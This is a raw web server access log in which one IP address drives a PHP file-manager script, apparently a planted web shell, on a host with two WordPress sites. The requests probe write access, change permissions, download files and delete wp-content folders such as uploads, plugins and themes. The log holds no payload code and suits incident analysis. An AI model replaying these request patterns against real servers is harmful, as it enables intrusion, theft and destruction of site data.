45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14159 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12586 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 12039 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17359 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17358 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28735 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13412 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?copy=error_log&finish=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13338 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /betcity.com.tw/wp-content/languages/ HTTP/1.1" 200 4146 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /betcity.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13330 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /betcity.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/betcity.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?chmod=upgrade&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 200 12059 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 200 12332 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 200 26675 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content&view=index.php HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content&view=temp-write-test-6a7f37377e4115-64918237 HTTP/1.1" 200 11743 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content&view=temp-write-test-6a7f37377e4115-64918237" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?chmod=temp-write-test-6a379b5ec25470-25251992&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=temp-write-test-6a379b5ec25470-25251992&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /betcity.com.tw/wp-content/temp-write-test-6a379b5ec25470-25251992 HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?chmod=languages&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=languages&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:18 -0400] "GET /thoms.php?chmod=uploads&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?del=uploads&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14096 "http://163.245.207.76:443/thoms.php?del=uploads&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content&view=temp-write-test-6a379b5ec25470-25251992 HTTP/1.1" 200 11729 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content&view=temp-write-test-6a379b5ec25470-25251992" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?chmod=themes&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=themes&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?del=index.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14097 "http://163.245.207.76:443/thoms.php?del=index.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?del=languages&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14098 "http://163.245.207.76:443/thoms.php?del=languages&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?del=mu-plugins&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14088 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /betcity.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /betcity.com.tw/wp-content/uploads/ HTTP/1.1" 200 845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?chmod=temp-write-test-6a7f37377e4115-64918237&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11554 "http://163.245.207.76:443/thoms.php?chmod=temp-write-test-6a7f37377e4115-64918237&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Ftemp-write-test-6a379b5ec25470-25251992&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Ftemp-write-test-6a379b5ec25470-25251992&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content&settings=1 HTTP/1.1" 200 11913 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?del=upgrade&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14100 "http://163.245.207.76:443/thoms.php?del=upgrade&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /betcity.com.tw/wp-content/temp-write-test-6a7f37377e4115-64918237 HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 200 12795 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?dl=temp-write-test-6a379b5ec25470-25251992&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14100 "http://163.245.207.76:443/thoms.php?dl=temp-write-test-6a379b5ec25470-25251992&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 200 12336 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:19 -0400] "GET /thoms.php?chmod=plugins&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 200 13271 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Findex.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Findex.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?del=temp-write-test-6a7f37377e4115-64918237&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14098 "http://163.245.207.76:443/thoms.php?del=temp-write-test-6a7f37377e4115-64918237&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /betcity.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 200 12347 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?chmod=index.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Ftemp-write-test-6a7f37377e4115-64918237&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Ftemp-write-test-6a7f37377e4115-64918237&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 200 12312 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?dl=temp-write-test-6a7f37377e4115-64918237&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14099 "http://163.245.207.76:443/thoms.php?dl=temp-write-test-6a7f37377e4115-64918237&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /betcity.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?del=temp-write-test-6a379b5ec25470-25251992&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14097 "http://163.245.207.76:443/thoms.php?del=temp-write-test-6a379b5ec25470-25251992&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?chmod=mu-plugins&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 200 12346 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /betcity.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?dl=index.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14098 "http://163.245.207.76:443/thoms.php?dl=index.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content&upload= HTTP/1.1" 200 12177 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 200 13130 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?del=plugins&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14099 "http://163.245.207.76:443/thoms.php?del=plugins&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 200 12735 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /betcity.com.tw/wp-content/upgrade/ HTTP/1.1" 200 696 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?del=themes&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14088 "http://163.245.207.76:443/thoms.php?del=themes&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 200 12355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?chmod=ms-options.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-writing.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-writing.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /betcity.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
